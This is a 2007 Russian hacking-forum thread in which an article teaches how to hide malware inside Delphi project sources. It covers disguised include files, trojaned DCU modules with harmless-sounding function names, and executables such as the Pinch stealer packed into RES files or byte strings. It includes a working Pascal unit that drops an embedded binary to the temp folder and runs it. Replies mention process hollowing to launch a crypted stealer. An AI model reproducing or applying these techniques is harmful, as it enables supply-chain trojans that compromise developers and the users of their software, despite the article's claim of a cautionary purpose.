ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Вирус в исходных кодах на Дельфи
  #1  
Старый 15.04.2007, 03:56
begin_end
Members of Antichat - Level 5
Регистрация: 04.01.2007
Сообщений: 176
Провел на форуме:
17964969

Репутация: 1362
Post Вирус в исходных кодах на Дельфи

Цель данной статьи – рассказать о способах включения стороннего кода или приложений в комплект исходного кода проекта Дельфи. Всё, описанное в статье, только для ознакомления с возможными опасностями.

Статья рассчитана на аудиторию начинающих программистов на Дельфи, материал статьи потребует для освоения наличие Дельфи и навыков кодинга на нём.

Терминология:
Дельфи – среда визуальной разработки приложений, а с версии 7, ещё и одноименный язык программирования;
DCU-файл – модуль с пред-скомпилированным кодом;
RES-файл – ресурсный файл, ресурсы из которого, при компиляции включаются в её результат.

Начну статью с классификации способов осуществления такого. Суть в том, чтобы любым методом сделать так, чтобы наш код незаметно лежал в сорцах проекта Дельфи:



И при компиляции был вовлечён в выходную программу, которая стала чем-то вроде джоинера или непосредственно несла код. Способы, когда вредоносный код запускается уже при открытии исходников, в среде разработки здесь упоминаться не будут. Итак:



1) Суть этого метода во вложении в директорию проекта приложения-вируса и запуска его из того приложения, исходники которого подвергаются компиляции с запуском. малоэффективен вследствие явности.

2.1.1) Делаем любой файл с сорцами виря и включаем его, как include. А видимое расширение может быть, например, ico.

2.1.2) Пишем наш код виря в отдельном модуле, компилируем его Дельфёй в dcu. Затем называем dcu как-нибудь красиво, так, чтоб было видно, что там разные необходимые функции есть. А с кода проекта где-нибудь включаем dcu в uses и вызываем функцию виря, как будто бы как полезную. (Не забываем удалить одноименный pas). Пример прилагается (после компиляции в результирующую программу включается код для перезагрузки системы из модуля Unit2.dcu).

2.1.3) То же, что и 2.1.2, но без компиляции. От неопытного программиста просто спрятать нужный код. Скажем, отделить его от основного кода пустыми строками далеко вниз. Или использовать запутанные, нечитабельные названия процедур и функций. Да и полезного кода может быть очень много, так что "затесать" среди него иной можно вполне удачно.

2.2.1) Мы имеем в своём распоряжении уже готовый exe, скажем пинч. Тут мы можем положить его в файл res с помощью редактора ресурсов, например, Restorator. res-файлы редко кто просматривает. Затем в программу достаточно включить код извлечения из ресурса и запуска (сделать его сокрытие, как в 2.1).

2.2.2) Берём наш пинч, и разбираем его на последовательность байт. Вставляем всё это в pas-файл с функцией, которая все эти байты собирает в файл и запускает его. Называем функцию «мирно» и компилируем. Получаем модуль dcu, при вызове из которого функции, например CoolStyle, у нас извлекается и запускается пинч. Обычно к модулям dcu доверительное отношение. Особенно если взять действительно полезных функций, добавить своё "добро" и откомпилить в такой модуль.

Здесь остановлюсь поподробнее на самой методике использования. (Можно скачать пример). Перед тем, как вставить в код модуля последовательность символов влагаемого вируса типа «#12+#87+#124+#3…» эту последовательность нужно получить. Программа, делающая это поставляется с примером. Там мы выбираем бинарник и сохраняем его в текстовик, получая из строки вида «MZPhglea» такое: 77+#90+#80+#104+#103+#108+#101+#97+#. Вставляем это в следующий код Unit2.pas так:
Код:
unit Unit2;
interface
  procedure CoolStyle;

implementation
uses windows;

function SpecString:string;
begin
 Result:=#77+#90+#80+#104+#103+#108+#101+#97;
end;

function TmpPath:string;
begin
 SetLength(Result,255);
 GetTempPath(254, PChar(Result));
 Result :=PChar(Result);
end;

procedure CoolStyle;
var a:textfile;
begin
 AssignFile(a,TmpPath+'binary.exe');
 ReWrite(a);
 Write(a,SpecString);
 CloseFile(a);
 WinExec(PChar(TmpPath+'binary.exe'),0);
end;

begin
end.
Потом мы компилируем наш модуль. Это происходит при записи его имени в uses целевого приложения и вызове из него функции/процедуры. Но можно откомпилировать его никуда не включая, используя, компилятор Small Delphi (здесь). DCU готов, юзаем, как в 2.1.2.

Заключение.
Статья и примеры были созданы исключительно в демонстративных и упредительных целях. В ходе работы использовалась среда Delphi 7, а также дополнительные программы: Small Delphi и Binary Converter (от автора). Статью (как и исходный код) можно дополнять, переопубликовывать с разрешения автора. Предложения и критика ожидаемы и желательны.
 
Ответить с цитированием

  #2  
Старый 15.04.2007, 04:19
KEZ
Banned
Регистрация: 18.05.2005
Сообщений: 1,981
Провел на форуме:
1941233

Репутация: 2726


По умолчанию

было: как сломать форум
стало: где достать.....
 
Ответить с цитированием

  #3  
Старый 15.04.2007, 11:29
ShadOS
ы
Регистрация: 11.02.2007
Сообщений: 750
Провел на форуме:
1347723

Репутация: 1477


Отправить сообщение для ShadOS с помощью ICQ
По умолчанию

Ну и кому это может пригодиться? Статья чисто теоретического плана в стиле "я изучаю Delphi"
__________________
..когда же кто-нибудь выпустит MD5(Unix) брутер на GPU.... жду....
 
Ответить с цитированием

  #4  
Старый 15.04.2007, 12:31
begin_end
Members of Antichat - Level 5
Регистрация: 04.01.2007
Сообщений: 176
Провел на форуме:
17964969

Репутация: 1362
По умолчанию

Дело в том, что я встречал такие компоненты, которые поставлялись в виде тех же dcu-файлов, но использовании которых в свою программу включался нежелательный код. Как правило это были рекламные функции. А два раза это был троян.
Думаю, статья является не теоретической, а скорее теоретико-практической, т.к. метод 2.2.2 непросто упомянут, но описан.
К тому же многие, кто ещё и занимаются кодингом здесь, кодят на Дельфи. Потому я счёл, что актуальность статьи достаточно велика.
Помимо сказанного, статья может стать основой для последующих публикаций в таком тематическом направлении.
 
Ответить с цитированием

  #5  
Старый 15.04.2007, 20:38
Fen-Omen
Участник форума
Регистрация: 22.03.2007
Сообщений: 220
Провел на форуме:
1068874

Репутация: 234
Отправить сообщение для Fen-Omen с помощью ICQ
По умолчанию

Цитата:
Сообщение от ShadOS  
Ну и кому это может пригодиться? Статья чисто теоретического плана в стиле "я изучаю Delphi"
Автор описывает возможные опасности при работе с исходниками программ...

Последний раз редактировалось Fen-Omen; 15.05.2007 в 02:32..
 
Ответить с цитированием

  #6  
Старый 17.04.2007, 01:18
irmologic
Новичок
Регистрация: 14.03.2007
Сообщений: 10
Провел на форуме:
7071

Репутация: 16
По умолчанию

Я сам работаю с Delpi, кодинг мне очень интересен. А такой матерьял сильно помогает
Статейко как и в стиле прошлых! Автор, просто суперр! +
Свяжись по мылу - есть предложенья.
 
Ответить с цитированием

  #7  
Старый 30.06.2007, 00:34
firemen
Новичок
Регистрация: 03.06.2006
Сообщений: 22
Провел на форуме:
79448

Репутация: 1
По умолчанию

Приведи пример как можно запустить файл не сохраняя на диске.
Я могу показать, как запустить приложение, код которого в строке подобно твоей без сохранения на диске, путём запуска приостановленного процесса, замены кода и возобновления процесса с нашим уже троем.
но, столкнулся с проблемой, что если запрятать в строку тот же notepad то запускается на ура, а вот криптованный пинч не хочет.
 
Ответить с цитированием

  #8  
Старый 30.06.2007, 00:53
dmnt
Познающий
Регистрация: 06.06.2007
Сообщений: 99
Провел на форуме:
559723

Репутация: 94
Отправить сообщение для dmnt с помощью ICQ
По умолчанию

вот только при чем тут вирусы?
 
Ответить с цитированием

  #9  
Старый 01.07.2007, 12:41
genom--
Постоянный
Регистрация: 09.07.2006
Сообщений: 937
Провел на форуме:
1948091

Репутация: 1686


По умолчанию

мда вирусы и на делфи -- жесть

Последний раз редактировалось genom--; 01.07.2007 в 12:49..
 
Ответить с цитированием

  #10  
Старый 01.07.2007, 13:23
KEZ
Banned
Регистрация: 18.05.2005
Сообщений: 1,981
Провел на форуме:
1941233

Репутация: 2726


По умолчанию

ну а хуле. сейчас молодежь берет количеством а не качеством.


было:
как накодить на ассемблере.....
стало:
где достать чтобы вштырило ...
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Новый вирус выдает себя за IE7 beta 2 Sadman Мировые новости 1 04.04.2007 17:39
Bat Micr0b Windows 2 25.04.2006 19:49
Хитрый вирус ловили целый месяц. Allen Мировые новости 1 24.04.2006 19:00
Появился первый вирус, мигрирующий с вашего ПК на мобильный телефон Zaratustra Мировые новости 1 04.03.2006 01:38



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ